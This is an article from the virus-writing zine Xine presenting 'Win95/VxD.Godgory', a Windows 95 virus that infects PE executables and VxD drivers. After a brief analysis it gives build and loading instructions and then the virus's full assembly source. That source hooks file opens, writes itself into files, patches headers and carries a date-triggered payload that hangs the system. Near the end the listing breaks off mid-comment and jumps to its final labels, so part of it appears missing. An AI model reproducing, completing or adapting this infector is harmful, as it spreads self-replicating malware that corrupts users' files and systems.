ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Xine - issue #5 - Phile 208 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Win95/VxD.Godgory ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here's a multipartite PE EXE and VxD infector. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1. Virus analysis ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ When the virus receives execution control, it makes its residency check, goes resident (if necessary) and installs the required VxD hooks. Then, it activates the payload if the current date matches the one of the payload and returns execution to the host's DDB control procedure/original entrypoint. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.1. Residency ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ To go resident, the virus calls _HeapAllocate. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.2. VxD hooks ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The "Test_Debug_Installed" hook handles the residency check whereas the file hook handles the infection of VxD and PE files. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.3. Payload ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ The virus decrypts and displays the following string: "Win95/VxD.Godgory, Horned Beast/VADER" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.4.1. File map: VxD ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Before infection After infection ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ VxD data ³ ³ VxD data ³ ³ ³ ³ (modified) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Enum data pages ³ ³ Enum data pages ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Non-resident data ³ ³ Non-resident data ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Virus object ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Or: Before infection After infection ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ VxD data ³ ³ VxD data ³ ³ ³ ³ (modified) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Enum data pages ³ ³ Enum data pages ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Non-resident data ³ ³ Virus object ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Non-resident data ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 1.4.2. File map: PE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Before infection After infection ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ PE data ³ ³ PE data ³ ³ ³ ³ (modified) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Last section ³ ³ Last section ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ +Virus code ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 2. Assembling and compiling ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Compile it to a VXD file, using: nmake /A ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 3. Loading ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ Register the virus VxD in the SYSTEM.INI file and restart Windows. The vi- rus will then stay resident and infect any accessed files. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ 4. Disinfection ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ To disinfect PE files, fix the last section header and the image size. Then, restore the pointer to the original entrypoint and reduce the file si- ze by Virus_Physical_Size bytes. Disinfection of VxD files is very complex due to the exhaustive LE header manipulation. The remaining alternative met- hod is to make the virus inactive. One way of doing this is to force the conditional jump from the residency check. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Start of file: GODGORY.ASM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .386p MASM = 1 ;Needed for IFS.INC .XList include VMM.INC include IFS.INC include IFSMGR.INC include SHELL.INC include MZ.INC include LE.INC include PE_MASM.INC include SEH.INC .List public GODGORY_DDB Virus_Physical_Size = Virus_Physical_End-Virus_Start Virus_Virtual_Size = Virus_Virtual_End-Virus_Start Virus_Sign = 'Horn' HB_Sign = 'HB' ;"Horned Beast" Min_Page_Size = 100h Max_Page_Size = 8000h Payload_Day = 4 Payload_Month = 7 VMM_DDB_Address = 0c000e980h VxD_CODE_SEG Return_Control: clc ret GODGORY_DDB VxD_Desc_Block <,,,,,,"GODGORY",,Godgory_Control> ;Simulate host execution org $.(DDB_Reserved3-1)-(size VxD_Desc_Block) Godgory_Control: call Virus_Start Dword_Align Virus_Start: pushad mov ebp,dword ptr [esp+(size Pushad_Struc)] ;Return address mov ebx,Godgory_Control-Return_Control Host_Relocation = $-4 add ebx,(size VxD_Desc_Block)-(DDB_Reserved3-1) sub dword ptr [esp+(size Pushad_Struc)],ebx ;Fix return address cmp eax,INIT_COMPLETE je Message_OK cmp eax,SYS_DYNAMIC_DEVICE_INIT jne Return_to_Host Message_OK: ;Fix jump to DDB control procedure inc byte ptr [ebp.(DDB_Reserved3-1)-(size VxD_Desc_Block)] ;Call->jmp neg ebx mov dword ptr [ebp.DDB_Reserved3-(size VxD_Desc_Block)],ebx Go_Resident: call Start_Delta Start_Delta: pop esi call Fix_Dynamic_Links mov eax,Virus_Sign Dynamic_Link1: VMMCall Test_Debug_Installed ;Residency check or eax,eax jz Return_to_Host ;Already resident mov eax,Virus_Virtual_Size call My_HeapAllocate jz Return_to_Host ;No memory xchg eax,edi lea esi,[esi+(Virus_Start-Start_Delta)] mov ecx,(Virus_Physical_Size+3)/4 push edi cld rep movsd ;Copy virus pop edi ;Install hooks lea esi,[edi+(Debug_Hook-Virus_Start)] lea ebx,[esi+(Old_Debug-Debug_Hook)] mov dword ptr [ebx],ecx mov dword ptr [esi-(Debug_Hook-Old_Debug_Pointer)],ebx GetVxDServiceOrdinal eax,Test_Debug_Installed Dynamic_Link2: VMMCall Hook_Device_Service mov byte ptr [edi+(Disable_Hook-Virus_Start)],0 lea eax,[edi+(File_Hook-Virus_Start)] push eax Dynamic_Link5: VxDCall IFSMgr_InstallFileSystemApiHook pop ecx mov dword ptr [edi+(Old_File-Virus_Start)],eax ;The payload mov al,7 out 70h,al in al,71h cmp al,Payload_Day jne Return_to_Host mov al,8 out 70h,al in al,71h cmp al,Payload_Month jne Return_to_Host lea ecx,[edi+(Virus_Name-Virus_Start)] mov edi,ecx dec edi Decrypt_Name: inc edi xor byte ptr [edi],66h jnz Decrypt_Name VMMCall Get_Sys_VM_Handle xor eax,eax ;Message box flags VxDCall SHELL_SYSMODAL_Message ;Display virus name jmp $ ;Hang execution Return_to_Host: popad ret ;Simulate a HOOK_PROC jmp Debug_Hook jmp dword ptr [Old_Debug] Old_Debug_Pointer = $-4 Debug_Hook: pushfd cmp eax,Virus_Sign jne Debug_Exit xor eax,eax Debug_Exit: popfd push 12345678h Old_Debug = $-4 ret Ring0_Start: push 12345678h Exec_Int_Start = $-4 pushad mov eax,12345678h Exec_Int_Address = $-4 mov dword ptr [eax],12345678h Exec_Int_Start2 = $-4 jmp Go_Resident PE_Start: pushad call PE_Delta PE_Delta: pop esi lea eax,[esi+(PE_Start-PE_Delta)] sub eax,12345678h PE_Entrypoint = $-4 add dword ptr [esi+(Host_Entrypoint-PE_Delta)],eax ;Fix possible relocation @SEH_SetupFrame mov eax,VMM_DDB_Address cmp dword ptr [eax.DDB_Name],' MMV' jne Remove_SEH mov ebx,Virus_Sign cmp dword ptr [eax.DDB_Reserved3],ebx je Remove_SEH mov dword ptr [eax.DDB_Reserved3],ebx mov eax,dword ptr [eax.DDB_Service_Table_Ptr] lea eax,[eax+((lowword @@Exec_Int)*4)] mov ebx,dword ptr [eax] mov dword ptr [esi+(Exec_Int_Address-PE_Delta)],eax mov dword ptr [esi+(Exec_Int_Start-PE_Delta)],ebx mov dword ptr [esi+(Exec_Int_Start2-PE_Delta)],ebx lea ebx,[esi+(Ring0_Start-PE_Delta)] mov dword ptr [eax],ebx int 3 ;Generate exception Remove_SEH: @SEH_RemoveFrame popad push 12345678h Host_Entrypoint = $-4 ret Virus_Name db 49,15,8,95,83,73,48,30,34,72,33,9,2,1,9,20,31,74,70,46 db 9,20,8,3,2,70,36,3,7,21,18,73,48,39,34,35,52,102 ;Encrypted "Win95/VxD.Godgory, Horned Beast/VADER",0 BeginProc File_Hook,CCALL,HIGH_FREQ ArgVar FSDFnAddr,DWORD ArgVar FunctionNum,DWORD ArgVar Drive,DWORD ArgVar ResourceFlags,DWORD ArgVar CodePage,DWORD ArgVar pir,DWORD LocalVar LE_Info_Mem,DWORD LocalVar DDB_Offset_Obj,DWORD LocalVar LE_PE_Header_File,DWORD LocalVar LE_Info_File,DWORD LocalVar LE_Info_Size,DWORD LocalVar DDB_Offset_File,DWORD LocalVar File_Handle,DWORD EnterProc pushad mov al,12h Disable_Hook = $-1 cmp al,0 jne File_Hook_Exit cmp dword ptr [FunctionNum],IFSFN_OPEN ;Function jne File_Hook_Exit call File_Delta File_Delta: pop edi inc byte ptr [edi+(Disable_Hook-File_Delta)] lea ebx,[edi+(File_Buffer-File_Delta)] mov eax,dword ptr [Drive] ;Drive number cmp al,-1 je No_Drive ;UNC resource add al,'A'-1 mov ah,':' mov dword ptr [ebx],eax inc ebx inc ebx No_Drive: mov eax,dword ptr [pir] ;Pointer to IOREQ mov eax,dword ptr [eax.ir_ppath] add eax,ParsedPath.pp_elements push BCS_WANSI push Virus_Virtual_End-Virus_Physical_End push eax push ebx Dynamic_Link6: VxDCall UniToBCSPath add esp,4*4 add ebx,eax mov eax,dword ptr [ebx-3] ;File extension cmp eax,'DXV' je Extension_OK cmp eax,'683' je Extension_OK cmp eax,'EXE' je Extension_OK cmp eax,'RCS' je Extension_OK cmp eax,'RDP' jne Infection_Done Extension_OK: lea esi,[edi+(File_Buffer-File_Delta)] mov eax,R0_OPENCREATFILE mov bx,2 ;Read/write mov dx,1 ;Open file if it exists call Original_FileIO ;Open the file (read/write mode) jc Infection_Done mov dword ptr [File_Handle],eax call Infect_File mov eax,R0_CLOSEFILE call Simulate_FileIO ;Close the file Infection_Done: dec byte ptr [edi+(Disable_Hook-File_Delta)] File_Hook_Exit: popad LeaveProc push dword ptr ds:[12345678h] Old_File = $-4 Return EndProc File_Hook,KEEPFRAMEVARS ;Routines ;Infect file ;þ On entry: ; EDI=File_Delta ; File_Handle=Handle of file to infect ;þ On exit: ; EAX,EBX,ECX,EDX,ESI=? ; Update all data Infect_File: ;Init data xor eax,eax mov dword ptr [LE_Info_Mem],eax call Read_LE_PE jc Dealloc_Exit or ecx,ecx jz Infect_LE movzx edx,word ptr [esi.NT_FileHeader.FH_NumberOfSections] dec edx imul edx,IMAGE_SIZEOF_SECTION_HEADER add edx,dword ptr [LE_PE_Header_File] add edx,size IMAGE_NT_HEADERS push esi mov cl,IMAGE_SIZEOF_SECTION_HEADER lea esi,[edi+(DDB_Buffer-File_Delta)] push ecx push edx push esi call FileIO_Read ;Read last section header mov eax,dword ptr [esi.SH_VirtualAddress] mov edx,dword ptr [esi.SH_SizeOfRawData] lea eax,[eax+edx+(PE_Start-Virus_Start)] mov ebx,eax xchg eax,dword ptr [edi+(File_Buffer.NT_OptionalHeader\ .OH_AddressOfEntryPoint-File_Delta)] mov ecx,dword ptr [edi+(File_Buffer.NT_OptionalHeader\ .OH_ImageBase-File_Delta)] add eax,ecx mov dword ptr [edi+(Host_Entrypoint-File_Delta)],eax add ebx,ecx mov dword ptr [edi+(PE_Entrypoint-File_Delta)],ebx mov eax,dword ptr [edi+(File_Buffer.NT_OptionalHeader\ .OH_FileAlignment-File_Delta)] lea ecx,[eax+Virus_Physical_Size-1] neg eax and ecx,eax ;Align Virus_Physical_Size add dword ptr [esi.SH_SizeOfRawData],ecx mov eax,dword ptr [edi+(File_Buffer.NT_OptionalHeader\ .OH_SectionAlignment-File_Delta)] mov ebx,dword ptr [esi.SH_SizeOfRawData] lea ebx,[ebx+eax-1] neg eax and ebx,eax ;Align section size mov eax,dword ptr [edi+(File_Buffer.NT_OptionalHeader\ .OH_SizeOfImage-File_Delta)] sub eax,dword ptr [esi.SH_VirtualAddress] sub eax,ebx jns Skip_Size_Fix sub dword ptr [edi+(File_Buffer.NT_OptionalHeader\ .OH_SizeOfImage-File_Delta)],eax Skip_Size_Fix: mov dword ptr [esi.SH_VirtualSize],ebx test byte ptr [esi.SH_Characteristics],IMAGE_SCN_CNT_UNINITIALIZED_DATA jz File_OK add esp,4*4 ret File_OK: or byte ptr [esi.SH_Characteristics\ +3],(IMAGE_SCN_MEM_EXECUTE+IMAGE_SCN_MEM_READ+IMAGE_SCN_MEM_WRITE) shr 24 add edx,dword ptr [esi.SH_PointerToRawData] lea esi,[edi+(Virus_Start-File_Delta)] call FileIO_Write ;Write virus body pop esi pop edx pop ecx call FileIO_Write ;Write last section header xor ecx,ecx mov cl,(size IMAGE_NT_HEADERS)-(size IMAGE_DIRECTORY_ENTRIES) mov edx,dword ptr [LE_PE_Header_File] pop esi call FileIO_Write ;Write PE header ret Infect_LE: mov cl,5 mov edx,dword ptr [esi.LE_nrestab] sub edx,ecx push esi lea esi,[edi+(DDB_Buffer-File_Delta)] call FileIO_Read cmp word ptr [esi],1234h org $-2 int Dyna_Link_Int pop esi je Dealloc_Exit ;Erroneous driver call Update_DDB jc Dealloc_Exit call Clear_Checksums call Update_LE jc Dealloc_Exit mov ecx,dword ptr [edi+(Virus_Object.OH_pagemap-File_Delta)] dec ecx call Get_Page_Offset jc Dealloc_Exit xchg eax,edx mov eax,R0_GETFILESIZE call Simulate_FileIO cmp eax,edx jbe Write_Virus_Body ;Non-resident data fits in last segment mov ecx,dword ptr [esi.LE_nrestab] sub eax,ecx mov esi,edx push ecx push eax call My_HeapAllocate pop ecx pop edx jz Dealloc_Exit push esi xchg eax,esi call FileIO_Read ;Read non-resident data pop eax push eax add eax,Virus_Physical_Size xchg eax,edx sub eax,edx neg eax ;-(eax-edx)=(edx-eax) push eax call FileIO_Write ;Write non-resident data xchg eax,esi call My_HeapFree pop ebx ;Pointer displacement xor eax,eax inc eax lea edx,[edi+(File_Buffer.LE_nrestab-File_Delta)] call Adjust_Pointer lea edx,[edi+(File_Buffer.LE_debuginfo-File_Delta)] call Adjust_Pointer lea edx,[edi+(File_Buffer.LE_winresoff-File_Delta)] call Adjust_Pointer pop edx Write_Virus_Body: mov ecx,Virus_Physical_Size lea esi,[edi+(Virus_Start-File_Delta)] call FileIO_Write ;Write virus body mov ecx,size VxD_Desc_Block mov edx,dword ptr [DDB_Offset_File] lea esi,[edi+(DDB_Buffer-File_Delta)] call FileIO_Write ;Write DDB mov ecx,IMAGE_SIZEOF_VXD_HEADER mov edx,dword ptr [LE_PE_Header_File] lea esi,[edi+(File_Buffer-File_Delta)] call FileIO_Write ;Write LE header mov ecx,dword ptr [LE_Info_Size] mov edx,dword ptr [LE_Info_File] mov esi,dword ptr [LE_Info_Mem] call FileIO_Write ;Write LE info Dealloc_Exit: mov ecx,dword ptr [LE_Info_Mem] jecxz No_Dealloc xchg eax,ecx call My_HeapFree No_Dealloc: ret ;Read PE/LE header and info, mark file infected/impossible to infect ;þ On entry: ; EDI=File_Delta ; File_Handle=Handle of file to read/write ;þ On exit: ; ECX=? ; ESI=File_Buffer ; * Carry flag clear: ; LE_PE_Header_File=Offset (within file) of LE/PE header ; ECX=1: ; File_Buffer filled with PE header (directory entries are incomplete) ; ECX=0: ; File_Buffer filled with LE header ; LE_Info_Mem=Pointer to LE info (allocated memory) ; LE_Info_File=Offset (within file) of LE info ; LE_Info_Size=Size of LE info ; * Carry flag set: ERROR Read_LE_PE: xor ecx,ecx lea esi,[edi+(File_Buffer-File_Delta)] pushad mov ecx,IMAGE_SIZEOF_DOS_HEADER xor edx,edx call FileIO_Read ;Read MZ header cmp word ptr [esi.MZ_magic],IMAGE_DOS_SIGNATURE jne Read_LE_PE_Fail cmp word ptr [esi.MZ_lfarlc],IMAGE_SIZEOF_DOS_HEADER jb Read_LE_PE_Fail mov ax,HB_Sign cmp word ptr [esi.MZ_csum],ax je Read_LE_PE_Fail ;File already infected/impossible to infect mov dword ptr [esi],eax mov cl,2 mov dl,MZ_csum call FileIO_Write ;Mark file infected/impossible to infect jc Read_LE_PE_Fail mov edx,dword ptr [esi.MZ_lfanew] mov dword ptr [LE_PE_Header_File],edx mov cl,IMAGE_SIZEOF_VXD_HEADER call FileIO_Read ;Read LE/PE header add edx,ecx mov dword ptr [LE_Info_File],edx call Check_Valid_LE jnz Verify_PE mov eax,dword ptr [esi.LE_datapage] sub eax,edx push eax call My_HeapAllocate pop ecx jz Read_LE_PE_Fail mov dword ptr [LE_Info_Mem],eax mov dword ptr [LE_Info_Size],ecx mov edx,dword ptr [LE_Info_File] xchg eax,esi call FileIO_Read ;Read LE info popad ret Verify_PE: call Check_Valid_PE jnz Read_LE_PE_Fail popad inc ecx clc ret Read_LE_PE_Fail: popad stc ret ;Check for a valid LE header ;þ On entry: ; ESI=Pointer to LE header ;þ On exit: ; EAX=? ; ECX=0 ; * Zero flag set: Valid LE ; * Zero flag clear: Invalid LE Check_Valid_LE: xor ecx,ecx cmp dword ptr [esi.LE_magic],(IMAGE_VXD_LEWO shl 24)\ +(IMAGE_VXD_LEBO shl 16)+IMAGE_VXD_SIGNATURE jne Exit_LE_Check cmp dword ptr [esi.LE_level],ecx jne Exit_LE_Check mov eax,dword ptr [esi.LE_cpu] cmp eax,(IMAGE_VXD_OS_DEV386 shl 16)+IMAGE_VXD_CPU_386 jb Exit_LE_Check cmp eax,(IMAGE_VXD_OS_DEV386 shl 16)+IMAGE_VXD_CPU_586 ja Exit_LE_Check test dword ptr [esi.LE_mflags],not (IMAGE_VXD_MODMASK+IMAGE_VXD_NOEXTFIX) jnz Exit_LE_Check mov eax,dword ptr [esi.LE_pagesize] cmp eax,Min_Page_Size jb Exit_LE_Check cmp eax,Max_Page_Size ja Exit_LE_Check cmp dword ptr [esi.LE_itermap],ecx jne Exit_LE_Check cmp dword ptr [esi.LE_rsrccnt],ecx jne Exit_LE_Check cmp dword ptr [esi.LE_dircnt],ecx jne Exit_LE_Check cmp dword ptr [esi.LE_impmodcnt],ecx ;jne Exit_LE_Check Exit_LE_Check: ret ;Check for a valid PE header ;þ On entry: ; ESI=Pointer to PE header ;þ On exit: ; EAX=? ; * Zero flag set: Valid PE ; * Zero flag clear: Invalid PE Check_Valid_PE: cmp dword ptr [esi.NT_Signature],IMAGE_NT_SIGNATURE jne Exit_PE_Check cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 jne Exit_PE_Check cmp word ptr [esi.NT_FileHeader\ .FH_SizeOfOptionalHeader],IMAGE_SIZEOF_NT_OPTIONAL_HEADER jne Exit_PE_Check mov eax,dword ptr [esi.NT_FileHeader.FH_Characteristics] test ah,(IMAGE_FILE_SYSTEM+IMAGE_FILE_DLL) shr 8 jnz Exit_PE_Check not eax test al,IMAGE_FILE_EXECUTABLE_IMAGE jnz Exit_PE_Check test ah,IMAGE_FILE_32BIT_MACHINE shr 8 jnz Exit_PE_Check cmp word ptr [esi.NT_OptionalHeader.OH_Magic],IMAGE_NT_OPTIONAL_HDR_MAGIC ;jne Exit_PE_Check Exit_PE_Check: ret ;Read and update DDB related data ;þ On entry: ; ESI=Pointer to LE header ; EDI=File_Delta ; File_Handle=Handle of file to read ; LE_Info_Mem=Pointer to LE info (allocated memory) ;þ On exit: ; * Carry flag clear: ; DDB_Offset_Obj=Offset of the DDB_Reserved3-1 field (in first object) ; DDB_Offset_File=Offset (within file) of DDB ; DDB_Buffer filled with updated DDB ; LE info updated (if necessary) ; Host_Relocation updated ; * Carry flag set: ERROR Update_DDB: pushad call Get_Object_Table cmp dword ptr [eax.OH_flags],IMAGE_OBJ_READ+IMAGE_OBJ_EXEC\ +IMAGE_OBJ_PRELOAD+IMAGE_OBJ_BIGDEF jne Update_DDB_Fail mov eax,dword ptr [esi.LE_enttab] call Recalc cmp dword ptr [eax.EB_type],((IMAGE_ENT_EXPORT+IMAGE_ENT_SHARED) shl 24)\ +(1 shl 8)+IMAGE_BND_ENTRY32 jne Update_DDB_Fail mov eax,dword ptr [eax+IMAGE_SIZEOF_ENTRY_BUNDLE.EH_offset] lea edx,[eax.(DDB_Reserved3-1)] mov dword ptr [DDB_Offset_Obj],edx push eax call Calculate_Page push edx call Get_Page_Offset pop edx jc Bad_DDB_Page add edx,eax mov dword ptr [DDB_Offset_File],edx mov ecx,size VxD_Desc_Block push esi lea esi,[edi+(DDB_Buffer-File_Delta)] call FileIO_Read ;Read DDB pop esi Bad_DDB_Page: pop eax jc Update_DDB_Fail add eax,DDB_Control_Proc call Calculate_Page mov eax,dword ptr [esi.LE_fpagetab] call Recalc mov ebx,dword ptr [eax+ecx*IMAGE_SIZEOF_FIXUP_PAGE_HEADER] mov ecx,dword ptr [eax+ecx*IMAGE_SIZEOF_FIXUP_PAGE_HEADER\ +IMAGE_SIZEOF_FIXUP_PAGE_HEADER] mov eax,dword ptr [esi.LE_frectab] call Recalc add ebx,eax add ecx,eax call Find_Reloc jnc Modify_Reloc ;Relocation found cmp ebx,ecx jb Update_DDB_Fail ;Unknown relocation type mov eax,dword ptr [DDB_Offset_Obj] mov ecx,eax xchg eax,dword ptr [edi+(DDB_Buffer.DDB_Control_Proc-File_Delta)] jmp Store_Displacement Modify_Reloc: mov ecx,dword ptr [DDB_Offset_Obj] or ah,ah jnz Modify_Reloc32 movzx eax,cx cmp eax,ecx jne Update_DDB_Fail ;Offset doesn't fit in relocation xchg ax,word ptr [edx] jmp Store_Displacement Modify_Reloc32: mov eax,ecx xchg eax,dword ptr [edx] Store_Displacement: sub ecx,eax mov dword ptr [edi+(Host_Relocation-File_Delta)],ecx ;Store: ;call $+5 (at (DDB_Reserved3-1)) ;This call will be patched with a relocation mov byte ptr [edi+(DDB_Buffer.(DDB_Reserved3-1)-File_Delta)],0e8h xor ecx,ecx mov dword ptr [edi+(DDB_Buffer.DDB_Reserved3-File_Delta)],ecx popad clc ret Update_DDB_Fail: popad stc ret ;Calculate page relative offset ;þ On entry: ; EAX=Offset (within first object) ; ESI=Pointer to LE header ; LE_Info_Mem=Pointer to LE info (allocated memory) ;þ On exit: ; EAX=? ; ECX=Page number ; EDX=Offset (within page) Calculate_Page: cdq mov ecx,dword ptr [esi.LE_pagesize] div ecx xchg eax,ecx call Get_Object_Table add ecx,dword ptr [eax.OH_pagemap] dec ecx ret ;Find a relocation (within a page) ;þ On entry: ; EBX=Start of "Fixup Record" data for the page ; ECX=End of "Fixup Record" data for the page ; DX=Offset to seek (within the page) ;þ On exit: ; EAX,EBX=? ; * Carry flag clear: ; EDX=Pointer to relocation ; AH=0: 16-bit relocation ; AH>0: 32-bit relocation ; * Carry flag set: ; EBXòECX: Relocation not found ; EBX Virus_Physical_End: File_Buffer db (size IMAGE_VXD_HEADER) dup (0) DDB_Buffer db (size VxD_Desc_Block) dup (0) Virus_Virtual_End: VxD_CODE_ENDS end ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ End of file: GODGORY.ASM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ